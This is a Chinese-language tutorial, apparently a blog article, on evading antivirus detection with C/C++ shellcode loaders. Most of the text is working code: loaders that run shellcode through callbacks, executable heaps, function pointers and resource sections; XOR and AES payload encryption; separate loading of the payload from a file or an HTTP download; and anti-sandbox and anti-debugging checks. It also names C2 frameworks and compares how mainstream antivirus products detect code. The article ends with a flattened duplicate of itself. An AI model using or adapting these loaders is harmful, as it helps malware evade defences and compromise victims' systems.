C&&C++的shellcode加密+分离&&Loader加载器
字数 1407 2025-09-01 11:26:04

C/C++ Shellcode加密与分离加载技术详解

一、杀软检测机制与特点分析

1.1 常见杀软检测方式

  1. 静态查杀

    • 通过文件特征码匹配病毒特征库
    • 部分杀软会使用沙箱运行程序几秒进行检测
  2. 动态查杀

    • 运行时扫描程序内容匹配病毒特征
    • EDR会挂钩敏感Windows API检查参数和调用栈
  3. 流量监控

    • 分析网络数据包匹配恶意流量特征
  4. 行为监控

    • 监控文件操作、注册表操作等异常行为

1.2 主流杀软特点对比

杀软 静态查杀 动态查杀 其他特点
火绒 横向移动防护强
360安全卫士/杀毒 核晶模式开启时有 核晶模式物理机默认开启
360QVM 极强(机器学习辅助) - 特征匹配严格
Windows Defender 监控HTTP流量
卡巴斯基标准版 一般 -
卡巴斯基企业版 -
ESET -

二、Shellcode基础与免杀原理

2.1 Shellcode本质

  • 一段可自主运行的机器代码
  • 无文件结构,不依赖编译环境
  • 需要通过Loader跳转到其地址执行

2.2 免杀技术分类

  1. Shellcode层面

    • 自写打乱(杀毒不认识)
    • 加密混淆(找到但不知道)
    • 分离隐藏(杀毒找不到)
    • 注入回调(干扰杀毒)
  2. Loader层面

    • APC加载、DLL镂空注入
    • SEH加密、TLS加载
    • UUID加载、创建堆加载
    • 回调函数加载、内联汇编加载

三、Shellcode加载技术详解

3.1 基础加载方式

1. 内联汇编加载

#include <Windows.h>
unsigned char buf[] = "\xfc\xe8\x89..."; 

void main() {
    __asm {
        lea eax, buf
        call eax
    }
}

2. 函数指针加载

#pragma comment(linker, "/section:.data,RWE")
#include <Windows.h>
unsigned char buf[] = "\xfc\xe8\x89...";

void main() {
    ((void(*)(void)) & buf)();
}

3. 回调函数加载

#include <Windows.h>
unsigned char shellcode[] = "\xfc\xe8\x89...";

void CallBack() {
    void* p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(p, shellcode, sizeof(shellcode));
    EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)p, NULL);
}

int main() {
    CallBack();
}

4. 创建堆加载

#include <Windows.h>
unsigned char shellcode[] = "\xfc\xe8\x89...";

void main() {
    HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(shellcode), 0);
    char* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(shellcode));
    memcpy(buffer, shellcode, sizeof(shellcode));
    ((void(*)(void)) buffer)();
}

3.2 环境配置要点

  1. 关闭SDL检测
  2. 设置运行库为多线程(/MT)
  3. 禁用安全检查(GS)
  4. 关闭生成清单
  5. 编译时选择Release模式

四、Shellcode加密技术

4.1 XOR加密

加密Python代码:

def xor_encrypt(shellcode, key):
    encrypted = bytearray()
    key_len = len(key)
    for i in range(len(shellcode)):
        encrypted.append(shellcode[i] ^ key[i % key_len])
    return encrypted

key = b'xuan@qazwss'
encrypted = xor_encrypt(shellcode, key)

解密C++代码:

#include <Windows.h>

char encrypted[] = "\x84\x9d\xe8...";
char key[] = "qawwcadwdawdw";
unsigned char shellcode[sizeof encrypted];

int main() {
    int keylength = strlen(key);
    for (int i = 0; i < sizeof encrypted; i++) {
        shellcode[i] = encrypted[i] ^ key[i % keylength];
    }
    
    DWORD dwOldPro;
    VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);
    EnumUILanguages((UILANGUAGE_ENUMPROC)shellcode, 0, 0);
}

4.2 AES加密

加密代码:

#include <wincrypt.h>
#pragma comment(lib, "crypt32.lib")

BOOL AESEncrypt(BYTE* pData, DWORD dwDataSize, BYTE* pKey, DWORD dwKeySize, 
               BYTE** ppEncrypted, DWORD* pdwEncryptedSize) {
    // 初始化CSP
    HCRYPTPROV hProv;
    CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
    
    // 创建哈希对象
    HCRYPTHASH hHash;
    CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash);
    
    // 哈希密钥
    CryptHashData(hHash, pKey, dwKeySize, 0);
    
    // 派生密钥
    HCRYPTKEY hKey;
    CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey);
    
    // 加密数据
    DWORD dwEncryptedSize = dwDataSize;
    CryptEncrypt(hKey, 0, TRUE, 0, NULL, &dwEncryptedSize, 0);
    
    BYTE* pEncrypted = (BYTE*)malloc(dwEncryptedSize);
    memcpy(pEncrypted, pData, dwDataSize);
    DWORD dwFinalSize = dwDataSize;
    CryptEncrypt(hKey, 0, TRUE, 0, pEncrypted, &dwFinalSize, dwEncryptedSize);
    
    *ppEncrypted = pEncrypted;
    *pdwEncryptedSize = dwFinalSize;
    
    // 清理
    CryptDestroyKey(hKey);
    CryptDestroyHash(hHash);
    CryptReleaseContext(hProv, 0);
    return TRUE;
}

解密代码:

BOOL AESDecrypt(BYTE* pEncrypted, DWORD dwEncryptedSize, BYTE* pKey, 
               DWORD dwKeySize, BYTE** ppDecrypted, DWORD* pdwDecryptedSize) {
    // 类似加密过程,使用CryptDecrypt代替CryptEncrypt
    // ...
}

void ExecuteShellcode(BYTE* shellcode, DWORD size) {
    void* execMem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(execMem, shellcode, size);
    ((void(*)())execMem)();
    VirtualFree(execMem, 0, MEM_RELEASE);
}

五、Shellcode分离技术

5.1 文件分离

#include <fstream>
#include <Windows.h>

void load(char* buf, int size) {
    char* shellcode = (char*)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    CopyMemory(shellcode, buf, size);
    CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, NULL);
}

int main() {
    ifstream infile("p64.bin", ios::binary);
    infile.seekg(0, infile.end);
    int length = infile.tellg();
    infile.seekg(0, infile.beg);
    
    char* data = new char[length];
    infile.read(data, length);
    
    // 解密
    for (int i = 0; i < length; i++) {
        data[i] ^= 0x39;
    }
    
    load(data, length);
    return 0;
}

5.2 HTTP请求分离

#include <winhttp.h>
#pragma comment(lib, "winhttp.lib")

vector<unsigned char> DownloadData(const wchar_t* host, int port, const wchar_t* path) {
    HINTERNET hSession = WinHttpOpen(L"WinHTTP Example/1.0", 
                                   WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, 
                                   WINHTTP_NO_PROXY_NAME, 
                                   WINHTTP_NO_PROXY_BYPASS, 0);
    
    HINTERNET hConnect = WinHttpConnect(hSession, host, port, 0);
    HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", path, NULL, 
                                          WINHTTP_NO_REFERER, 
                                          WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
    
    WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, 
                      WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
    WinHttpReceiveResponse(hRequest, NULL);
    
    vector<unsigned char> result;
    DWORD dwSize = 0;
    do {
        WinHttpQueryDataAvailable(hRequest, &dwSize);
        vector<unsigned char> buffer(dwSize);
        DWORD dwDownloaded = 0;
        WinHttpReadData(hRequest, buffer.data(), dwSize, &dwDownloaded);
        result.insert(result.end(), buffer.begin(), buffer.begin() + dwDownloaded);
    } while (dwSize > 0);
    
    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    return result;
}

5.3 参数传递分离

int main(int argc, char* argv[]) {
    if (argc < 2) {
        printf("Usage: %s <shellcode_file>\n", argv[0]);
        return 1;
    }
    
    ifstream infile(argv[1], ios::binary);
    // ... 读取和解密过程与文件分离相同
}

六、反沙箱与反调试技术

6.1 反沙箱检测

bool detect_sandbox() {
    // 时间差检测
    auto start = chrono::high_resolution_clock::now();
    this_thread::sleep_for(chrono::milliseconds(100));
    auto end = chrono::high_resolution_clock::now();
    auto elapsed = chrono::duration_cast<chrono::milliseconds>(end - start);
    if (elapsed.count() < 100) return true;
    
    // 内存检测
    MEMORYSTATUSEX statex;
    statex.dwLength = sizeof(statex);
    GlobalMemoryStatusEx(&statex);
    SYSTEM_INFO systemInfo;
    GetSystemInfo(&systemInfo);
    if (statex.ullTotalPageFile / systemInfo.dwPageSize < 4000000) return true;
    
    // CPU核心数检测
    if (systemInfo.dwNumberOfProcessors <= 4) return true;
    
    // 网络适配器检测
    PIP_ADAPTER_ADDRESSES pAddresses = (PIP_ADAPTER_ADDRESSES)new BYTE[15000];
    if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, 
                           NULL, pAddresses, 15000) == ERROR_SUCCESS) {
        int numAdapters = 0;
        while (pAddresses) {
            if (pAddresses->OperStatus == IfOperStatusUp) numAdapters++;
            pAddresses = pAddresses->Next;
        }
        if (numAdapters < 2) return true;
    }
    
    return false;
}

6.2 反调试技术

int main() {
    // 调试器检测
    if (IsDebuggerPresent()) return 1;
    
    // 远程调试检测
    BOOL bDebuggerPresent = FALSE;
    if (CheckRemoteDebuggerPresent(GetCurrentProcess(), &bDebuggerPresent) && bDebuggerPresent) 
        return 1;
    
    // 远程桌面检测
    if (GetSystemMetrics(SM_REMOTESESSION) != 0) return 1;
    
    // 时间戳计数器检测
    unsigned __int64 start = __rdtsc();
    Sleep(100);
    unsigned __int64 end = __rdtsc();
    if ((end - start) > 100000000) return 1;
    
    // 正常执行代码...
}

七、资源节加载技术

#include "resource.h"

int main() {
    // 查找资源
    HRSRC res = FindResource(NULL, MAKEINTRESOURCE(IDR_SC1), L"sc");
    HGLOBAL resData = LoadResource(NULL, res);
    DWORD size = SizeofResource(NULL, res);
    
    // 分配内存
    LPSTR shell = (LPSTR)VirtualAlloc(0, size, MEM_COMMIT, PAGE_READWRITE);
    memcpy(shell, resData, size);
    
    // 解密
    for (int i = 0; i < size; i++) {
        shell[i] ^= 0x39;
    }
    
    // 执行
    VirtualProtect(shell, size, PAGE_EXECUTE_READ, &oldProtect);
    ((void(*)(void)) shell)();
}

八、综合免杀方案设计

  1. 多层加密:XOR+AES组合加密
  2. 分离加载:通过网络或文件分离Shellcode
  3. 反检测:集成反沙箱和反调试技术
  4. 合法程序模仿:使用系统API作为加载入口点
  5. 行为混淆:添加无害API调用干扰行为分析

九、工具与资源

  1. 开发工具

    • Visual Studio(配置绕过360QVM)
    • Ollydbg(分析Shellcode)
    • 010 Editor(二进制编辑)
  2. C2框架

    • Cobalt Strike
    • Metasploit
    • Viper/Ghost
  3. 检测平台

    • 微步在线云沙箱
    • VirusTotal

十、注意事项

  1. 编译时选择正确的平台(x86/x64)
  2. 测试时关闭杀软实时防护
  3. 不同杀软组合测试
  4. 虚拟机与物理机环境差异
  5. 网络通信行为隐蔽性

通过以上技术的组合应用,可以有效提高Shellcode的免杀能力,绕过主流杀毒软件的检测。实际应用中应根据目标环境灵活调整技术方案。

C/C++ Shellcode加密与分离加载技术详解 一、杀软检测机制与特点分析 1.1 常见杀软检测方式 静态查杀 : 通过文件特征码匹配病毒特征库 部分杀软会使用沙箱运行程序几秒进行检测 动态查杀 : 运行时扫描程序内容匹配病毒特征 EDR会挂钩敏感Windows API检查参数和调用栈 流量监控 : 分析网络数据包匹配恶意流量特征 行为监控 : 监控文件操作、注册表操作等异常行为 1.2 主流杀软特点对比 | 杀软 | 静态查杀 | 动态查杀 | 其他特点 | |------|---------|---------|---------| | 火绒 | 强 | 无 | 横向移动防护强 | | 360安全卫士/杀毒 | 强 | 核晶模式开启时有 | 核晶模式物理机默认开启 | | 360QVM | 极强(机器学习辅助) | - | 特征匹配严格 | | Windows Defender | 强 | 强 | 监控HTTP流量 | | 卡巴斯基标准版 | 一般 | 强 | - | | 卡巴斯基企业版 | 强 | 强 | - | | ESET | 强 | 无 | - | 二、Shellcode基础与免杀原理 2.1 Shellcode本质 一段可自主运行的机器代码 无文件结构,不依赖编译环境 需要通过Loader跳转到其地址执行 2.2 免杀技术分类 Shellcode层面 : 自写打乱(杀毒不认识) 加密混淆(找到但不知道) 分离隐藏(杀毒找不到) 注入回调(干扰杀毒) Loader层面 : APC加载、DLL镂空注入 SEH加密、TLS加载 UUID加载、创建堆加载 回调函数加载、内联汇编加载 三、Shellcode加载技术详解 3.1 基础加载方式 1. 内联汇编加载 2. 函数指针加载 3. 回调函数加载 4. 创建堆加载 3.2 环境配置要点 关闭SDL检测 设置运行库为多线程(/MT) 禁用安全检查(GS) 关闭生成清单 编译时选择Release模式 四、Shellcode加密技术 4.1 XOR加密 加密Python代码: 解密C++代码: 4.2 AES加密 加密代码: 解密代码: 五、Shellcode分离技术 5.1 文件分离 5.2 HTTP请求分离 5.3 参数传递分离 六、反沙箱与反调试技术 6.1 反沙箱检测 6.2 反调试技术 七、资源节加载技术 八、综合免杀方案设计 多层加密 :XOR+AES组合加密 分离加载 :通过网络或文件分离Shellcode 反检测 :集成反沙箱和反调试技术 合法程序模仿 :使用系统API作为加载入口点 行为混淆 :添加无害API调用干扰行为分析 九、工具与资源 开发工具 : Visual Studio(配置绕过360QVM) Ollydbg(分析Shellcode) 010 Editor(二进制编辑) C2框架 : Cobalt Strike Metasploit Viper/Ghost 检测平台 : 微步在线云沙箱 VirusTotal 十、注意事项 编译时选择正确的平台(x86/x64) 测试时关闭杀软实时防护 不同杀软组合测试 虚拟机与物理机环境差异 网络通信行为隐蔽性 通过以上技术的组合应用,可以有效提高Shellcode的免杀能力,绕过主流杀毒软件的检测。实际应用中应根据目标环境灵活调整技术方案。